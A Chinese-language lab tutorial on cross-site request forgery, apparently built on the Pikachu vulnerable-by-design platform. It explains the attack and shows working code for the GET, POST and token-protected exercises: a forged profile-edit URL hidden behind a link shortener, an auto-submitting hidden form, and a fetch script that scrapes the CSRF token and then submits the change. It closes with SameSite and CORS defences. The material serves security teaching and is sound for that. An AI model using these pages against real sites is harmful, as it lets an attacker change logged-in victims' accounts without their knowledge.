CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种网络攻击方式,攻击者通过伪造用户请求,诱导受害者在不知情的情况下向受信任的网站发送恶意请求。
CSRF漏洞原理
- 核心机制:攻击者利用受害者已登录某个网站的身份(通常通过浏览器中的Cookie或会话信息),诱导受害者访问恶意链接或页面,触发对目标网站的请求。
- 关键点:
- 受害者在目标网站上已有有效的会话(已登录)。
- 攻击者伪造的请求会携带受害者的身份验证信息(如Cookie)。
- 目标网站无法区分该请求是用户主动发起还是被攻击者伪造。
示例:
- 用户登录了银行网站(bank.com),并保持登录状态(Cookie有效)。
- 攻击者诱导用户访问恶意网站(evil.com),该网站包含一个隐藏的表单或脚本,自动向bank.com发起转账请求(如bank.com/transfer?amount=1000&to=attacker)。
- 浏览器自动附带用户在bank.com的Cookie,服务器认为这是合法请求,执行转账。
攻击条件
- 目标网站依赖Cookie或其他自动发送的凭证进行身份验证。
- 用户在目标网站上已登录,且会话未过期。
- 攻击者能够诱导用户执行特定操作(如点击链接、访问恶意页面)。
- 目标网站未有效验证请求的来源或合法性。
与XSS的区别
- CSRF:利用用户对网站的信任,伪造合法请求,无需窃取用户凭证。
- XSS:通过注入恶意脚本,直接窃取用户凭证或执行恶意操作。
危害
- 数据篡改:如修改用户账户信息、密码等。
- 非法操作:如未经授权的转账、删除数据、发布内容等。
- 用户隐私泄露:攻击者可能通过伪造请求获取敏感信息。
- 信任破坏:用户对网站的信任降低。
CSRF(get)
异常问题处理
Warning: Use of undefined constant MYSQL_ASSOC - assumed 'MYSQL_ASSOC' (this will throw an Error in a future version of PHP) in C:\phpstudy_pro\WWW\pikachu\vul\csrf\csrfget\csrf_get_edit.php on line 70
Warning: mysqli_fetch_array() expects parameter 2 to be int, string given in C:\phpstudy_pro\WWW\pikachu\vul\csrf\csrfget\csrf_get_edit.php on line 70
平台代码较旧,未适配现代PHP环境,修改下源代码
// 原代码(错误),第70行MYSQL_ASSOC
$row = mysqli_fetch_array($result, MYSQL_ASSOC);
// 修复后代码,把MYSQL_ASSOC改成MYSQLI_ASSOC
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
实操:
-
使用账号allen|123456登录
-
点击修改个人信息
-
随便修改信息,然后通过bp拦截,获取修改信息的url
根据截图内容,修改用户信息的时候,是不带任何认证信息的。应该是通过后台判断cookie获取用户信息,然后修改此用户的信息,如果其他用户在登录的情况下,发送这个请求,那么这个用户的信息也会被修改。
-
我换一个kobe的用户登录
-
通过浏览器直接复制下面的请求,直接修改住址信息
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=11111111&email=kobe%40pikachu.com&submit=submit根据上图信息已经修改成功。
-
短连接生成器
由于我们的地址比较长,而且是明文的,我们可以使用短连接生成器,下面这个是我们再百度上找的,免费生成的,有效期三天。
生成的短连接:
https://za8.cc/3YbaAv
CSRF(post)
这个页面一样有上一节类似的问题,如何修改也请参考上一节内容。
-
使用allen账号登录,获取修改额post请求。
上图的请求报文来看,和前一关一样,没有不可预测的认证信息,可以被利用。但是这边使用的是post请求,无法像上一关直接通过浏览器发送请求。
-
根据报文生成一个html,然后引诱用户访问这个页面即可;
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>CSRF Attack Page</title> </head> <body> <form id="csrfForm" action="http://192.168.244.137/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="boy"> <input type="hidden" name="phonenum" value="15988767673"> <input type="hidden" name="add" value="2222222"> <input type="hidden" name="email" value="kobe@pikachu.com"> <input type="hidden" name="submit" value="submit"> </form> <script> window.onload = function() { var form = document.getElementById("csrfForm"); if (form) { form.requestSubmit(); } else { console.error("Form with ID 'csrfForm' not found"); } }; </script> </body> </html>放到目录下\WWW\pikachu\vul\csrf\csrfpost.html,这样仅是方便我演示,具体实施的时候,放到部署到自己的站点上。
-
登录kobe账号后,直接访问地址
/pikachu/vul/csrf/csrfpost.html成功修改住址信息。
CSRF Token
这个页面异常处理方式如上一节。
-
分析修改的请求信息
这是一个get请求,并新增了一个token信息,这个token信息的来源自页面中的隐藏信息
现在清楚了get请求如何构造,咱们的目标是生成一个连接,然后让别人访问,并修改他的相关信息,顺着上一节的思路,我们需要编写一个代码,自动获取token,然后自动访问get请求。
-
为了演示方便我们这边就是用html代码编写,部署到pikachu上,代码如下:
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>CSRF Token Attack via Fetch</title> <style> pre { background: #f4f4f4; padding: 10px; border: 1px solid #ddd; max-height: 400px; overflow: auto; } .error { color: red; } .success { color: green; } .info { color: blue; } </style> </head> <body> <h1>CSRF Token Attack via Fetch</h1> <p class="info"><strong>说明:</strong>请确保已登录 Pikachu 平台(http://192.168.244.137),以便浏览器自动携带 PHPSESSID Cookie。页面加载后将自动获取 CSRF Token 并发起请求。</p> <p><strong>状态:</strong> <span id="status">等待请求...</span></p> <p><strong>获取的 CSRF Token:</strong> <span id="token" class="error">未获取</span></p> <p><strong>目标 GET 请求 URL:</strong> <a id="redirect_url" href="#">未生成</a></p> <h2>响应内容(调试用)</h2> <pre id="response_html"></pre> <script> window.onload = function() { const targetUrl = 'http://your-server/pikachu/vul/csrf/csrftoken/token_get_edit.php'; const tokenSpan = document.getElementById('token'); const redirectLink = document.getElementById('redirect_url'); const statusSpan = document.getElementById('status'); const responseHtml = document.getElementById('response_html'); statusSpan.textContent = '正在请求目标页面...'; fetch(targetUrl, { method: 'GET', credentials: 'include' // 携带 Cookie }) .then(response => { if (!response.ok) { throw new Error(`HTTP 状态码: ${response.status} (${response.statusText})`); } return response.text(); }) .then(html => { responseHtml.textContent = html; // 显示响应 HTML // 提取 Token const parser = new DOMParser(); const doc = parser.parseFromString(html, 'text/html'); const tokenInput = doc.querySelector('input[name="token"]'); let token = tokenInput ? tokenInput.value : ''; if (token && /^[a-zA-Z0-9]+$/.test(token)) { tokenSpan.textContent = token; tokenSpan.className = 'success'; statusSpan.textContent = 'Token 提取成功,正在发起请求...'; // 构造 GET 请求 URL const baseUrl = 'http://your-server/pikachu/vul/csrf/csrftoken/token_get_edit.php'; const params = { sex: 'boy', phonenum: '15988767673', add: '444444', email: 'kobe@pikachu.com', token: token, submit: 'submit' }; const queryString = new URLSearchParams(params).toString(); const redirectUrl = `${baseUrl}?${queryString}`; redirectLink.href = redirectUrl; redirectLink.textContent = redirectUrl; // 自动重定向 window.location.href = redirectUrl; } else { tokenSpan.textContent = token ? 'Token 格式无效' : '未找到 Token,可能未登录或页面无 Token'; statusSpan.textContent = 'Token 提取失败'; } }) .catch(error => { tokenSpan.textContent = '获取页面失败:' + error.message; statusSpan.textContent = '请求失败,可能未登录或跨域限制'; responseHtml.textContent = '错误:' + error.message; console.error('Fetch error:', error); }); }; </script> </body> </html>执行完后页面:
代码的说明:
- 需要把
your-server换成的pikachu服务地址; - 用户必须要登录,我们需要在登录后的
pikachu/vul/csrf/csrftoken/token_get_edit.php页面中,获取到token的相关信息,并且只能通过浏览器端发起请求; - 通过dom的解析获取到token信息;
- 获取到token信息后,在浏览器条跳转到编辑页面;
- 需要把
-
针对本解决方案的预防措施
- 设置 SameSite Cookie:
SameSite Cookie 是 HTTP Cookie 的一个属性,用于控制 Cookie 在跨站(不同域名)请求中的发送行为。它通过在 Set-Cookie 响应头中添加 SameSite 属性,限制浏览器在哪些情况下会附带 Cookie 发送请求,从而增强安全性,防止 CSRF 攻击。
SameSite 的三种取值:
-
Strict
(严格模式):
- Cookie 仅在同一站点(same-site)请求时发送。
- 如果请求来自不同域名(如从 http://your-server ),即使是用户点击链接或 fetch 请求,浏览器也不会发送 Cookie(如 PHPSESSID)。
- 场景:适合需要高安全性的会话 Cookie,防止任何跨站请求携带 Cookie。
-
Lax
(宽松模式):
- Cookie 在同一站点请求和顶级导航(如用户点击 链接或重定向)时发送。
- 不允许跨站的 AJAX(fetch 或 XMLHttpRequest)或表单提交携带 Cookie。
- 场景:平衡安全性和用户体验,适合大多数 Web 应用。
-
None
(无限制):
- Cookie 在所有请求中都会发送,包括跨站的 AJAX、表单或 iframe 请求。
- 必须配合 Secure 属性(要求 HTTPS 连接)。
- 场景:适用于需要跨站共享 Cookie 的情况,但安全性最低。
添加服务器端代码:
setcookie('PHPSESSID', $session_id, [ 'samesite' => 'Strict', 'secure' => true, 'httponly' => true ]);严格 CORS 策略:
CORS(Cross-Origin Resource Sharing,跨源资源共享)是浏览器的一种安全机制,用于控制从一个域名(如 http://your-server)向另一个域名(如 http://your-server)发起的跨域请求(如 fetch 或 XMLHttpRequest)。严格 CORS 策略指的是服务器通过设置特定的 HTTP 响应头(如 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials),限制哪些域名可以访问资源,从而防止未授权的跨域请求。
添加服务器端代码:
header('Access-Control-Allow-Origin: http://your-server'); // 只允许同一域名 header('Access-Control-Allow-Credentials: true'); // 允许 Cookie